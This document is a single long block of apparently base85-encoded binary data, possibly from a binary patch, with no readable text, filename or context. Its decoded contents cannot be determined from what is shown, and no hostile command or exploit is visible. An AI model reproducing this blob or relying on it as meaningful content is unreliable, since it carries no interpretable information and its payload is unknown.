z2frm5)J|vE>^0n_Ln8<4s1z&tn9iL*v109C#v{l}2SB)!9-}aq`F14AU6?9>?8-+= zwJEkP`JWUC5nm{UoH==yi6>-X$s!6;vmq1GnD)vr2aI^;+}O2>Ivkx4o8{N&Eo(p1 zPMA3Q_|OX@)Csq^`d8?j9jC?c8kBr!8PK{Q^<(%%JJ5KV;yU5r!ib(@<ZT1x2QrFE zaA{M@1b}2%YofCyb_S!Aula#~^2v*3`CP=aW;AB>V3F6<{oL$*xws0m3FO0GlUZx| zjLoc!pp93C`S&F{V30K~Mu-1Kds2Z)yY8;3E;iqmErv787B8o?ny5RNUh-N`K<KNm z2o2Ul`t}EYNjtnJ;CkYb4UOTV?_j7#1<yO-2mrmjClWKl8`~8BW-qA2QWm+H`Nrcy zMiy>hT9Yae>xSh+SE`$%=V=qJ82809buUdnVIFpfL9wrV=9`b|DDhYtkJ0Is#9ts( z%i@n5K0infm+;3QwDVi?M2LBaMj#3?;AZkvaJP)`LL?^wBcyFVZ;xDvnytX5Y*71r z5P-;UHaZej`Jn8uB9*0}s{R^)Gt%mz84jD7=2k&t=JDu{5k>wW`BO{3!PqAm)4Vo7 zHw~3Q4n@uzfkT*~$=ljPzmtG8J%=}Fl+oT5CKo}0u7@3#uTXg?^UEa$uD&?<Z&W_0 z(;JgdaP9+dSQ$8rcSnC;vhwfwKU!r};{fCQi&oC?b)*nu!taJf^xE&14Ri+mn|sNB zc&8m1jszlmB6q=G-q-wn0|=P=x>@hcN960og8h{XlrwiY5Z0iOgD~b}r<hQ4Ob~*j z1lvKoBS_FrY+p7hhltqws_H)n#EB))q8Ea94VCkZV*4zl-2|8&yA36m*x0f8z<^`& z98M4;^5haYJ3`OS@z7Z+-Tpy=9&!kfOSpc{V@pP58YT}zCUZZ*4OhW&-{J>iM?kKK zx_$cv?*2-yGDrE<P^{lK(nPMIWi!&n15$(MQ(V~!NU7#RX>HpDWQfMS56nHol-d^4 zh{je!V&m+Jxw_S?1|pg(bx5Z;1OPA)3rfqUe_J9*`-!T*7a(6!-TDHmTssvtCEs_9 z-YMFp<EaR}I2amhSdTiWPd$8U#2KVz{*O;Sse};%{b<caNk?=J;31!ci}n9wj!Y^C zX;e8KRRZ3Jrc3X`8csD_Q3cI9<cb^S8J}dxTnqH-@6MU8uKGiTq2Ry13E)xLw7qIM z1ru?d;Nc+gRrJ+;DqJ~7qW<I>0-0WkDOEdE=!bn(pdF?6(Ufs;DOeo|GG~Y-b|5g4 zZI;EXT>(jQu^HFkV#xm1epoMVz8|`|<qkoQ%yZA*D6iO5OUI^5nB>BfdbwkZB1IjV z7$?^UR`^lvI#sR&r(6Pn0{95y?CnJ&95AZF)-mUO^1#@C;RgZr1-=Mbd|GAhby^XB z&`UqOziz#)ot|GloUQ#`Lze(QVy7KJ?q>!;Ij_eW7Rg<%Su|CP4Isz+JdwhkF-OAN zP0Lra;DcsOEzg_tkF{KbUfJLps`kP7xWs-L#hbjo(F2%6HJDZW2KWbm-`5L}%5=8F z498jSUWEGAX{<*X#hZp0Ug1PJKK~t>!29i+7#C}n64V4pu~VdZA|zvr`0(30!@U6| z1iyEcESaKsXpJ@BUNG7TyBlCd(~q7v?^Y0s8F`KE!9OKIL06*A8$FO#j!*%2Q*A$i zt$?rMOH`xUJ47u|0<iUnWCkR_WC^+5;2YIFx#z==(pfG_@y6W~x$yyN;5&p_>V%}K z;uN*6JM)r3sy{2P^&Iyt9Jq8EDQ*<HdAKQy_FGnq;@Y#|UE7n{+lFIH#m0lncTuO= zN~MYqNQe7U=<A#_i9(E}MJk;fL_XBeavLf(Sf2O(_yP`@0ZH`Rck)FTvbPOHxq!zI zSE&_~^ydIMrdDn-B5}H0@dIcTN8z|CoQ?9(-ww?(iQ2Nm^hRSC2hsMF*~GRBF(~~+ zCJ->EzZJ{pMbdB(b}4UfgX3BzUU1+Bmo}e$bL_byG?_*m;{BY(9E;=(&Y3(M@8{SL zCNHTcvQ?_O0kQ|8C0wtnqrc6O+_xrdH_wrCzCC;p5^Ur8<D^q*0XZ{dVQ@1;A$bw! z(PZ_W&ZN&5L&rM$OH8RUo15J0>V<bYxpp*t6mX^$C~KhD@v&1>`iaz-p>kbQz*AiC z&UP6Ga?{ffr7lseWFNn_s8uc;JvG(o@YN$=sKtQw0D%7biXWzAO=a_@g-^(#t~|$P z!7rJU1h0t(=`$IcXRe3d5`A`dS0!DpvTwjqC3UWo`%VC*T#%F<IvZpMKgiy=ywEQ+ zXdc9aD1R@!VO2IQ`D_G~0BpF##4jZ-=?_!t-}6(Vl;68;B4ndE($QQ^iZQrsN)nWY zSj82QfWm9x0SXrjuYy>-#$O@<95mdYN3kUmU^duhjx=PqG?TO=1?7o5RpD*((T;t5 zls)0OGc`2=Ik>rT@2MvQwT|#sAn5g#f(eE09l`-1Inup|359_Ziw5K*Q>=)$DO1;V zO0`}_W8a93r@eZWida2n@o%m=*vV&dRr{j%0PY;`#l{b?rcz208&>M92{ko#?8!QE z_qyE=jGv`p8r18O`xma&tCxC?*@?vUhD{p!+nGR%VE2O8XL@we6=qaUMW9K7Gm6k~ z6Q0RM!j57N5{)azNKb_@i3(wC!6{9z7|w%+!xD`#H5f~s=vGojKDXXmmYpbm{+}Uv zKq4VHV(99r*573~(z3^i`s!Kgmw&yLIGWCaHp1V&$FvDmQ_IoU%=OT9b_-`=WXrIE znjcW{H~mELE<tL^DghYP#^45Bbt9VXY1}Ne4{*e-)_I*i+f#0}pU1NUBv#i2#J%~= zlXJShl|^V)DhG(V)8(5~OVdru=gL?|0I(nnlofBmt8&f{9j31DJ8^W8^3@q1Y?|C0 zx*$L`C-5`ndPowttHD!fjS*5Xj4##4U+pk@#>|*(GJKwhOw)6E5B8%;&*~!6)i1v1 zxI94c7tQhFqAEjn4;4y*EV<qJ@ve5}yRVo~P#9Hrdrn38t=3<@mCQ*m;G*yaK#2Q# z`6zvz@=@QWgv+BU6`NCqu|Ut<3MF`f)dYL7O?vYP@toJE^wQdR7;FGXS?sNVP*L96 zTw1y2PMsDc5kH}N&<Y+1yQ*%twcHAxh_<o6E3LM7cIC4$h6GQ_oW?>XI*7LC*p!>m z<Pw*T?`)1TEZN^rgQ_z7G;?DdfDG1<-Vt!LCrKgt(5hjFx4IW+X%%iJJ&Vzt5s$Bh zOLd#cYvhfTD!nh=*5t}f-*2cClSfek)Ckw5S;kpz(`jCgNRtkc6^^w_0gNMi5=J4R zLkC?OKZ4+ZOnzEqV?8ZvY08C?{6gY$n&>ao;JZtUP_uy45l!B4{nzvdz|BDbO5T7_ z#^HoUe#5AB_JI~7DxW>y6XVt){ky3^I(_ST0reD3j(%lXpuO(Xn_JOWjwatFjL+AI zO!3?&IJu09u6uz<oJUq?UBECw=A1iys!6VTo{pp@ti!-QI%e`3rj({|x<5&B86jh1 z_PUTNNUvA~i%*`LpF)5GK$m>mFRaH>57r`~T%l>+fE>4c^z=R1ys?xbkLJ$%d?UZF z@-`Aplw02COG2%!tq1DUC*#aG0-Eq!gn*893VASZt+DbJVb?9RnDWD1)Y<>d(vkIU z%tLQJJYhgflwn0gRA?MV`uVwBZu$a&>;dKHQ^K)Qe!hO*zij0L5ZHXE?CRvF1l->i zVvU2q=PQKZ67ptRTUt4GPC4U#r<5Ca0&72X@ujOGi?t~?UUR+ovJe9WmmA!36wV)j zP1$*ww&bYP<y48gvx<SXgbw0b+4mHw{gZ5*UUOFb@lFyB`M2EPYJ?*5pNkoEFWLG? z+8|)`(M!%jVC4N+<Qlx&%Xp;pk$VY|JSpaIGg*K%fu{S_PkWZpA*cJt!|yrzG7E3u z1ehO&uv$@`zU@fT9@SxP&rMC5yLXdh^1O^B_0K*P8X!*HoMHt-z1IyNCt+McQ!|+A zdlh>6Q#akUZtw$g_gP2@H5ACPz1{JY;`2I9VA|2bdGFz_wDBRX<Gy7m3+3``H1Q%1 zBR8(rPZ#nXTe45!v=PBZpe=?FlP93+4yW%&o4*P)W(9Xn60}MK^nL$ag~<f|w6alu z20uWD4A3>{HlVfnFAM6>bL}SVoL7x}q$U@X4SbVjd&mOg%F<_?*D~(C<U9nMWHzva zjgbFU*kL@EHDR^H@T<97K4S6qDvr>k{&vL!-{C593Bos)jU0h56j~;W0Ew&SmAO1u z4_3HS;KJgD{6P!y*5HQXIM!78CQ-XwU<<>F1@J=mM@aS#BbKfz8ln=Q8o|5P4p6V} zm|-)p>Ka@dR<|~|)XM0iQsrWwOY>yo_sAclbCIaKR4%$anZ=d7i-VmT=otz!TO;cX z!(Q-qtBfjC3SX4{TBg^TCMXH6-g}(}NwB&f4#4*4yVA}7IYnGhwvqc&oX#U~u8~|$ zqG>RU>{GYih}wzX3i}(qKgk7HMxxZ(O;8s^X|t0FmM*K=v&7=>QOo-0i$}Z^lHGy6 zY5o`xzmZvNuKxZ9$P<Rv?T4TF+@aCV5Agq4HMBk*Qb8jBmrC^WL<Rmo94W{zs;mFO zQ`;cW8DJm+0admF15?Ao1Ck6gWE5ZC6wMNTZS-`<0<66Z<1^vxk8>A()69hTzWS8o z=o;vAY1H+%?;M`+yuY|&qBT?gu8R%T{-~xJlP`(s#=`yCynd9?Tkz0zO^8z1OhAjP zc%0(y-ai`ZS}K=W%D+>+D;kuag~8&Zb*0zOoDeqjPBht{>tx}+08~aGWMy`%GmxPi zX3_isl2KM_{fI%RhQdm;bN5wh+`~;u)2-BL=b;@O9W8QgX^R2llVwbm@PML0Q0PYe zv(+~Oi&Oem&62wpB)F$nxoc-zE-ColEYBgUv2^t@N_`XS8)mnXYs`uE?wITey51*i zahW^v=!(LxZy3@Q3W#w(T2p!O5N*xo<hbpdtZs$Yb!<2MMyH%H&Z$j`6wov$p04&! zl?W!M3W$M*&9q!LkLzc9hsf0XaM5d#?+ki4m=XARv~kcb%{3k)O?mYXjuY##krP$% zTVuvNbfWI!(Cz?k-vCXp4z#807#B``C-SveUrn8w+gm%|1(f4;C4tyHyZo%_W<|Pl z6wbG2m=A<<{ruJ~9}EsauxMVei=~b|vLR#p5#SBx>*s@Qef&T)oYt5Lg<;-Ln0ZX0 zz+R8nKCPN$qbGAJMJ5za&{Hpe6+iYfn4|Mu*Q1<uEsUx(#q93E5!Vs~?`Ixo@x|!P z5Bxx8;W7PrXP)YTKWTLS&}%NeiH=+j^|oi*J#!7^vW2!)$~9iW^tjs4{Dl0!4~!3q zS_u5VSD)>~#rFUVARr9|AfSJ5>VL03t?Z5dv(nn){ZQVJToB0YHB#fW=2G+sIaG2m zG3;-zlkp$ep0>kEm1!Bx6H96Gx^2VV+4+7l7RO#|V9M<LsOV7vdG6{c?flPAQAty2 zgc(~TDZ=Ck`XU`knk9KB0pOGzvUC222OZ87HOz{XV%GC+uk3BV8<H_>nrDRzB7K}r zS;D(@-?|O+zSyoMbJue)g=5h^s)k$O@=czsZg*ciD7W;=pDIk3VpsUMlyLO;nUgp1 zp)tO5EiTD0JZW)_-}3G`8A0R;gsh_2yCq+9qm!swvZ^GO($!G;4Zt_=XM7p}@-oQQ zns(3M>kzot5$I~DeqP&~wRMc$HRw1xZ@!zHI)5U3_&TPieK<ub`Xd`!kFoboj7wr1 z%!gq7?r`wthtQoKgcw$1&vCwDm=MW*-6I6MY-8orR!#LhRDEI2Tz{dhYkgQ^mk?Ut z<Q2OLS;XM?<+6ND2#CGC`@AeLX7fzeDAB})YNjhFxJ5xW7Xs2j@h=Jdl)l_W3=Ab$ zrVnB;JdPU@NrT?$B+3U(`*XWMK)Ze~4R27z%baTz!SbPbN#Z@C$4Gp<1nN$VXH(&6 zY`DTPyq)9Gy;hW><%GB0yw4eJ2s@QcC_BtK75L|`3ZvD6JfMhj9;Vz9Np^`PuRT+b zW<v2N$G^Tum*5?L>=zOQ_DYulF7XCC@|_rKXuoch_)Ct6Z46YEik@(@HeYBZ$AB=! zd3jfuZZL-zXoau5MLF-}0;LS_er7eigpI9zSpch}ybGu&h2ME!YLG?;-}!};IkB?M z4)U^VhB(i~1z_mNDrcp1t_rb%6&!gU$giljZfOl30U1mz#!;dWG~p7JLCTcy0B^4| zv45<&H?n3MiSVH^)guqfZAjc+otJxG>4^<}%7>P=t#G#`%<=T fDLcK5SI?j+c z;VuI9K0R`9*|OAievyYG6%*vc)P{yPbCG4kyw`>Q2~ZM{8E*HSM9L2`pWI~qCf=?S z(px5PFCrjwbP9P#h$;cZxiCrUye}?Z4pg(Vn?Fg+>t56@Bq58xd-(~iluB-GZQZo# zz<f?|t+7to1nr=!>{N`Dts+N^#B2{Ha2p-LoyYjRFBN3^4|m`awh{=rE_LW#ZmSDH z`E8$Z4*1;rb9o=m`b^HJ0FTNMq8ZbiDzKVbs6IV;m<*qr3C{)^3)km@rohY0DinKp zY!_oOc9P|o0Epy{I~W%<s0MO}@-$0RQ~m^><^Add90#uqMM#9Lpm`JQ5)NYU`D3?a zOckjbYCxGJEr?9~GLYfFLEfkrW6I@xUS*w*0~j@v^P^^^U?1EtVlU4BJ(qLksz4lX z+L36Hy$}nkM?bHxTt4H=he1CHKr_@x2r5n{LRhN2gyv{}(<Lv>-!lDF{7qPFsD_w~ zuN9Cx09<Jyt|Jc-tBsR#%prW$IWEGO6&N##T^F&@jLr1IOtD>Dpyzm5qfp;g&g)L_ z37Er6r^WK_DWY4XSQXvho`}13oE%XTPVnk`uU{j_b?yg+YJS9?nHsC%v`utK>fiK| zEa4N99wmIuliV^0#<L(v+i$_XJS@cH!#&Eo9#MymUF_DqAaT{=yF3b5ij$dfip9`R zd~t$Whp<%`8WMDp6ERa2^e+9|Lu21l0+`=HH6#tHxAi4t@pn<0>W=DG32eI;4C7dz zHhlJ2nnOh8S}sg-WQ*asH8QFB7(2nV3>bCmjoTc#{(Kd;O9+3|f)Vp_TbzS-?3ZYR zP!DJ)Bi8ST&>?wK=)rxr+>V!nx$?~%QaYgR`Qbm&Ck!Y^&-J>9_No$fm!9i80|+;3 zGA4kPaK>uM`j~!bpqLGp&u!~PDzT8Lor#b-|HMJ4I{e*pB(tn|n)C)Zu_I@(2j#Nv zPo!q=O<f9-2XLo;X%1XuBZz&8^M`YLs_lme2R@he=EaB22f@2RlR;`OTePlU9W*XN zP#QO>i<)Y{ii7-C_B;#_awg!W2ZWPbk>8sGZHbaY)2=}a2!YbBPGg+2;pM9gLdJui zw#d?>%)z=`<iMf?+z#ac=lAf@k-(;8<P;6Dm$FUY41ny;HF<`Gq$VR?q&uHP@wTW( zbZPxCX8BKp_C`E{m8HVnroQ|k@H+GI#7`%i9<n?5+<i%G3@U^;XF`f31;m`KcG;(d zHD7l>(kg7^^~co1idxCeTO;#7(E;flT<vo@tju_PW$O$fb)qmWk<;GQ0{Bt||DrWq zD}Gg&4qpgVZKG=MLOZ-rL(qKA?>}ig<X?k+z{nL;;-Pf>gC(Pw)jKRM;cbWWFmyuz zkh?Lz5O01ejn4UHtbqFW0r{glryjdE+RyfPB$3SAxwo3iwU+0~A)$^H<6_iH%RDVz zOBHm>ChI1afFKpB7>*gh6B=7zR>;hAvOA4sWb~SN8)#cmDWWK4dSHkLlGjy$sJzCe zl&xYPsC?g#p7EN;71@d%h~0gsnN%VMchq0UYdK>`eAQ+1mYmT*KxlRuA1iV)PEw{9 zu0Mt}mzz-E>i(i|XY#@3d^HZ-Q8+}Pw(6@iEjP&=$*FHEqmR)#79u?fhf=H04#OSt zU(S0FfVF7yi2XG+hD}AU36c|P%r<p~`56gdw~-rWjA{vZAyuRe2^wjOCOtvWbiS;v z0y@FGXO_*M1{pOMz&{ZAS~<(S5Z7c%@6U{zF<*_U=MpFK9vJo1=;M!CmV_qF=bC4+ z*U%l(DEH_qko)lV^4&i_5005iVW#BKmxdKY4n=X|aL|$&RT`MwhnYdVOi>&aT}-=> zxxB9`eg0g&wmTqWtBK;fwomW7v2Y$sugx{ThJ>Bt1*ka(%rV6QNdlcj)Se96@8AKk zb{usQVmSmAO!kTw$~lTTh`d4V*_ty$CCB~gOK5}0{e2pEN6o7Upg6aGv*Jb7?f2~- zZkxz-$KefhTr@<4<9(HksW}HCc77BDr=0Q^j=PFo57XNR>kWV(bpC6KzIlM|iCZ-m zb$NO_B;lS02)zrs$J9!s^qnKw=6+`wrDN4XyWRyaEyOJ)456M-jCbR<1FQRi>h5a+ z3x|Y+!`_;l+`VT$>$c*=_9hvD{{APshU`lBv0Rn6K18miTwvMq{M8OH`)8-W=Dq`Y zBXcX9kh`=fMeO+m>8!-9=f&#JRtG?P(^+^w1j^L_V5(i8#_avsr&;wJ{ZwG*lt<(1 zKOl1y>{o?A03)$@aIy`ED!5Jx7h)U7%ibgW>S$pLFR=8;bSD|@31XABcpcK&@)*@Y zg)Kb~Clsi(%gZeYXc%&C{Bf@5m$V|y^l7qI$zALNbsGw>{vyy{F}AOZX}TLKJr5WZ z_C3D=l@!|od(=-YRQ%yFYe%n5oc}g#Q=i~}@l3WOi_!XeItECoW7X?|J1oyvh-buO zcAdHi2@rr;@4+LV>0>UAZe^;sjKpU}E7hVJ4%cUpoxm<BG#Ohv^9O*%pzINv@7Z$q z2T)|odavwMz{aMKX^BHNh6|es?G@4by6`jr;lX4*pzr<V8P;L&`o!)?PTu-0ozuJp zqouWoqdn+FX$@Y656Hy_5Ds`kVW~aT(RlOFB5m=a!+%WJqM;+?x5FX459+Hw;6{<< z2gL_DsZzRJp((ab$_O%J$UR6492nG{^>MCsn7G!fAm(OE{C89#YS>yDm7lqVbdt;g zp{a=ua0d;XLO-3r*o|q2h8bbYS%gXbL35w$Tt5UL)gH#%n~!WZMDXw}hrvx%DA3h2 zuCe6TV&IFE)Vc6seT|OC*7nP)@5+l<gPF1=rAX-%oZwoS${yudqDroBhrzW4s(Z>9 zLcJ#kY*#2VWQ#<hPq!0EhpTPIk99f#Jd64X{!8BQcMr69I6D1)90bce+i2h!{q-XL za9C5p{{ByObR-teBGGv`Obvz`-Z~2RaTytp@h#FgY`zd}2|41O;?pbPM-6&S;w3aR zb<P-;ReInjb1D*etW648F*;$Ou*4}<!+d9onjdvWE;**Q3cF`;5PND#B$Gq{FcdB& z3Ra&~-($M@j34{uFM1YNxSO3`ZTXsR91hnHbvprvZfaSbnH6Ly4`jT|oXJFq`_>4T z2}hpOy4GQhhMn=&Uu^#G3<I6)%^9GbUMARjx^F0uS@rhics3wlvDsYNC-Jc5pV1iC zbK(6J3|l(3MpZ(P2uV$V1V2*1LHXnkPBbEt(_tA<JJUvieH^=SVQpOOoPP!c`O{2) z97XlF*u`U+>wL#9p;9}1e0~VM36OTSW~$mGA8FU^nyOzNcS?q+gCQT>mrbCQWZL55 zOdSNsv?;BVUWK;R6CUsidF*|*iiDtzNkAoY9eim3k>JZrL}PytDk3f*uj)p$hsEVv z@*Olnz!0E;eGt7X4OEKw(=A6%@Aoh|1NMx~-3p5F(>?ONA+-N$h}k`YXote(Zg(jg z#+aR6Mqa?pFbEJ{ai<5<5PLU4Hm_<<U%q3L{fdg8Km`lM90ux&GKtyG5Df(n0T!== zlq@#lgWhpkvN2HAUgHJKVWV>I7sWbaQk&!jupQ}4j|kqg=!*)}yh1eN2M53e(x&}v zIG!9Zl!g_9b2_lGxsv-AFzcqiW9r=ZWE=+^mI!(5%%x92NT{xclv=mSNtFF@p|u#x zx2pHVtnBkyHQHa9*yGeD(HvTeE-vB9R~AcMY=pVWJ2~!fNVftYi%{ObGN)E<!jh1O zOPMYtOOxE%jzdxP*0o!zwn-)YrUdi33S_x}SZ@}=KtC8p6OJw5j5dn1p&e~fF++}G zc1h5lHzJSAIC0{E#Q3prm5itWWuSkd7YH9Q(mGbhL|_A@HMtw1w|l=4mRUhBe;#Cn zUBGwi_EN1l7=r}-iN-I=OT6CO-YNWm$460&WsdSxX7?(PFn8FF6erZ0hoD^Oc^)a( z-J!ka{;MkBLmAFue3R20$y@}}$UM&EE-azzsePf7SdS3NLUe{DJ((wRQ1GN(S<eW! z!^wH6AcvGF&&s<K?--QD(zE#P<L5NTbj;h3=4nZStey{$<XfF1#EHRI=sCsVgfgC$ zm=x;#y<o$8{Ck}mtCGX&@ERCX{@i$GYh*~hYM??bXQ(<&{qR#Ya+Fk#s+L=f!1eNe zl8Y1ZGr~%`PDiD<#CkYhXDWL#*eIB5I&z3+cD%YtuPL1N5I8Jy%>$r*;E}zaCE6;6 z*8dJp@2Ct223B%(T9b68TqyS;D68~bCPy?!15Tw5=yIwjG{lp2$$DnWW}P5M7DM?3 zKMQ%hp&u&R+~sV~y;0pmT_nXioF$Op6a<BLoe&;QDq|PXe9jnywZe2Q3hQ<<q9}mX zArw!MW=S5%*T#vl+AMMlljFPzuYpjV()P4zKM)4U#tZokh7soH1gV~3X;LSlFbnvF z_d6#ar&yDA#hw&%tJ04)4DIf#6&9Fy8d6CAZ|X1D3AP}ezEqkbgwU@A&aStY@i8Cx z?;Qa!rdLo1Vj27Tx?gR-FOIm?9P6YtXF)-{9xzkCJbV_o`CfHwGb?Dq4GKGe-747i zYk-OY>wh{Fzq(A$N|()9ODI3UqQstZ0%39_Kpsha7$yX)EgFzY1_dY4^Sq!Kxdc;D z?1R~3oTt3He0B?sP`*qSt}{AP3L;hNOQk_!WDMs*c<TdMXaM7qQ%MqZhWKXGr6s|E z0m)YKlr~NL;d^NQS{W&cCz3&Dqd%h|AkiNHXknz$6CMqe=zkMoqyEx}v)Exjt;d%$ z&Ld_eQfTV6+8TJ#=pTjxgCc9E0LtxT1&eK!gb9;z!puhrAtj3u-XMHA9Tg(#;6d{Q zoO*U{CIaR|?X^}M3G-aUSb3%;z`EUGSo|%ByqrFY8ugl|%lfZyWU&G^2n*DU@Vy!U zWs|MviVU4e`Z~9J>o<)L%Xyr-><|r2s=1Xt2G`!(ax>R7(~(>wuUd?PHk*ve(*x8) z&h&6$2VqcIekD^AZaGa`53qxyp&!{OB6YM{PZ0(YbhglbTGn@H^PYpV`i>3DcPWLq z25o=isj(_Lxciiv;^xH-Z{WgS#qUqRw!rIE+tz`JhnS$A#I~pHL`4vn+?CQ-h?fK? zfmbXgG1HOYPnY($vb8%Wp)tMP2><bM<1v_F75B&>RV7E%{JuqC4RQ7`=ZVSUq3B;8 ztZNQ}1x(p;KY_&2`?N19WO6a%LB$2TJF(C8j#FF${H(`~6N*thQtV_=&JIjKxS|4) zdVI=*Myx5Ep47%isfw^O*vbWA{s|EdW?LHdqNmZsvv=C#w>_gwRiq=X+)!ule0LY@ z>L|*NTu3n)3VL`cc8Z|efQ`pi2joEXJuwWCni*v(ZN=qSkkL8T+^9nuS%vwGGpVYH z*bRSgO<J4~$`d(M<DhV|rP3MTho1+Tx8$A=DuY3Zuf5Wr#t|F)SD}RCgg%|Rms$^X zK>IYWhRmROpxJpq5IqgG-rCi<!?3%jC;77xn2h|uX%3-tzZgtC=<m^JdOij2zw*Hr zPY`DIb%NTxxcRnw%Ao}|SloAbI`bk_qBay?(RfVa&Nj`YXHWbs3XX38WTFysp8eD) zRM0NJyfO1c)XR6<W4|nxB-MU-L30>exw{n1vLGiB{f@g>j~yCQ!P9=K`|%m;6i<&o z@P+EU?SW+o+B7b0(Ng&&J<BjQD(E>C<3Xq(Vc?aaw-J>})TH#r+5W_vKasyF)tBki zAzh=l{aq_yvS%Mu+FfV<VOwC+L~1$y1gVgTv20hqw++8>vqTM9VW>d&m+&f;L%Ri- z&>{W{3S4Knxw%d6qh(-zV&JRXmWtu^9PmOX<w%2iQiZ;E;%97SLDj9!Cv$Ez=C-yr zQ`urJm7&e`&3puDekhNZ>0>b`vqr~s8Lb5j?~^4OPp`x2%SKCp{oso!t29$Mia$7= zdB<aVzUb1BOB};H<6)r1EkjEj52e)T0_+WK%38xy8|U}dIg6XwZrH~qTo}B4;BZaC zX;L(L4q?OQdWhPOZXPf~e#}$)9<4>rW<XzX)i5yd8q|ADaToX5R{CpFB#;HZv=bqu z;sfr*_vPy2y@(`$NS6KIX%%bFYbizs$oz&Z++JoY+c`it+XX*vf&vV)wgDVU|2PQc z%gS%Zs)m_Ql`^)OZ#_@DQUDd<i(-$?`uzJ0(es>{r+NQC&^PaZCQ=P$+6osI^cy^O z?5G@5_lpC}7%o}JH}LK6p}2x(0cn14Y`V6a#5HPFx}<GD!5*^onXt;rk-lqNGJ?H| zX`9{VflfNNA;aa^EjBy+4oHm-Ug7r^a@Y#y-E+*SP7{6qSjZz%Z~wG74b$H7k*dxK zc&yTQU&0AS_)S2-V959t6Zfrn9{Ck!fEx5rtkGvX{-k!@bwe(KB2?9^7>3{10L!iM z$*s@VYt|0H%?}k5MxPcK=D|2^|ES~D9`r)2^(JL&|EkmeUkI)nj^}sf-jS6Kz6T>h zmd)Iyg{5py=@Fnqv$gp&bEIUbwp3|;b}m=eTRVL6naUkKf`O8^&GWxQL#jIW97+F# z4i$(4bq1b7R)IIv<ez(wA}a+sD^+{yChP=2=*j^cJ|Cc12!=pHn83}sgkTaso+z>T zg^FjdZ>#A1P@mu43?DqTg@82bJzz)n&7>$9zta_5e9?eUXF+c#&zP!e><n3u)T{tz z+qV$9H6%~CPq*Ad8AdCV1}&@g4W~cLOc_sKF?6(kO3Uc>He_8F?x!z>^S-U!0rHK- z?yi8}?4D6Q&hyOtdQDs~;?I~e`*2~lYz*MkFsrVgMu`J%+}wJf=4764GV19b4D)(M zH{}IQ=6pAqy;G$@i-n2HV(qMSGdVSu+Q+)PtzFi%ql>)(aFdrMkuWk>#{5`0zk#ja z4ad#6PWU9c71PI*M5b-#8u8og_?weUb6WLM^iO$XXf-p*I7Vh-m^|v?KLpl(Sc-sd z9CbIP7^QnWFk|w5JYbzcmOtQe+q=I;yq1yEdy7Yt!HY{@-7pveKtFFl?!gok!zQ?q zf_#7euaTrRfQC9A^uJpqGzMyH$p4P}Q4bZ48~)iW4v2t&kp91MzpbgA>wo6`)ta`> z8|*0Gm!B|M6=^Exk}Zp!*4d8Qy=0D7qg<1YPO7Zf;lZR!r1?Pcrferaex0!K1(aNh z+_ojm(3kw38U{Op>9NTzv}{4gi6?PI-XB3b_vE?j=kY3lzkg&^BCa#cs2led%4FXZ zXn|x&dw7`>`EjU>y~Rn18;Gx^Xp{!|1=b~1h7uXeaIhLXkVhnw>pOzY)d=c4V6gjo zg{C&O@V7XZ>v|f8&pTNygR`S&#n|)vvFEkeYS6))`Uc+Z%sVGdM(_{13^OxnZ}(*x z32u;dTLUTpws1+mctPkC+P`v7-a}yjolD1?yP$kol$x0vD_$_)Mf_DV48gbltoB@o z*SO-Bf&H32Atl9H0R|Y5N!o~8X%#q3rf6Rp)5qdF-+O-|M<8Dc#Y{<(j*E0OIo<=) zS=hn9-Tv^|f!Jh1qQ9$&4*;1s;Mmj$mwu&%<!XWfj#~!g39Q)Igu`5!U4yoQK<q9Y zDBN%;^MbMN;O+{T^#&+3S<n0XZ?Muh_6VfSh~ob`(F$sUcfHF#B{x%7C(mr9S=*tX zwuyi`7)*|MgUgmJ(zu6moL8jb_dgD60CBt`ThGGLf=MxeG-PV0f)oVNE=N`o;Px#D z(usBhj>kp2{D(CeIdN?XRZ3FtRF<T9W2l!svigMDEJ!kRaH@AJ_VJ`psoc(QW0!|B zomKDjEQk;`M#G<tbepnDBVEZG$MJ}>tD_D%D>&_gpQyVvF~%BI{>*p|(XU^E8f61A z?_igy$#L_iD&6bpO=gsby(&#Z6`||4Yod|?4=VNR)O%V9L9Hvp6P^_sHw~GxzsK8m zs-v30oP7C@uuB6kT$y;IM5sf=g1s3UF$+-lyWR0GOoa&H+%hgp0WE&-_065#-FUlw z9mKPyMbX$A?4zS+LId{bcCzru-Qr{coxh*==%l?v7u<S<GQJzy5baY#_^cbOEotom zUpOIrA0NTU=M7y18JDBWN9ZsgdpD@h#?v953{Zo2#gc!k4Ls+1zzh|M+eQKsNDn*R z(Wk4?7Cng`@MPZL!K5dnjg<Qd_ZaDPq>bH3;j;;*2Gjiy&D(O=GJj971~INqNqIXj zIZ<CM5v_zzfsj^s#*=QHkbw&eTrH*pN{4+~4t{BwOzc9Pqa}y;jb6^?;XuU>{-)TG z*T3U8+OvCor;0&|$ouh6UixA|Q;a%TBbCyjV#4rnidr<c3MZD|9hE6?#3Wa&5ic{* z)yl0r^n=H#bhfiJ)Ee@q^bAaaeXJOsmXe0e62TS8lR}Gw-t_<%l-rF;G!0$>RLD=& zsxuyJO4pl9ul1c&P@~QqEmZhiNlw<A7US8Xf~cCao|FnRI5&qVV~s|<Cj5CI-cqWo z+;B=q)q$aX%8!K}vz6{Ns<#3jZBKR!h4iNlGM!S;d=d`S%a)bJ;=ig-)Apn7hZnr2 zwQ-RF$KTJ|R1|T9Q+eYWFiyb%SW_}rl?(w}Fz+I(xOo)e>o_S+ypegw9djrD@=7~; zCWWUiy{i5N3akfFgZr9v=3d2m5c>=hG}35e*Vj^a8F@kU*$#0O=^K269=c=b+IbNr zaw`r6=}ZO3xnl)>RFr*HuhkP?QjguqDl><s&iDw=MiA$7b(7<J6({@*(7Z(%l|+6f z^|&T?a|HPX+6-m+x|#e`)2K212~;`SHCo5qO71XNp#LsrPg^td8S?j!!%f3x^n2t5 zr%U<p?Z*AD_W2JdcES+CVlZ_;knpe6?-jIrExK%UhY(Sroc6=D-)k86gUklKR%w9_ z(SXhTfc`Igji_I_<hxOh0C`SLKGA!cAqXh_PDE?@uf2$6hh6KNk=-?7v+^kuZmDz$ zlVA<!D6#|Z;+K93YYKN{)>Nd5`Cx{5o5wsAS@f0#D)}-X)%e-1ZS-mGfx5Z;<n_B| zonxAd(1VbQ_y<x&$pUQ83toHiY#4ceB5X%r1H8Ro8+K?|-Tb#|fFV-8unM;;bd$J; z6~!9@s7R{RwfFQEU&lx7%z&@!y5RA|E3*lf=xk%$8=;<#VXz2W$BuZ0nY_6{3tOED z8r5?uINW~(`T<E(1u{)DRnT$-s*a9&d>fZIdb;nbIz5<pC~??Q+!>5`HW2+WTXIt8 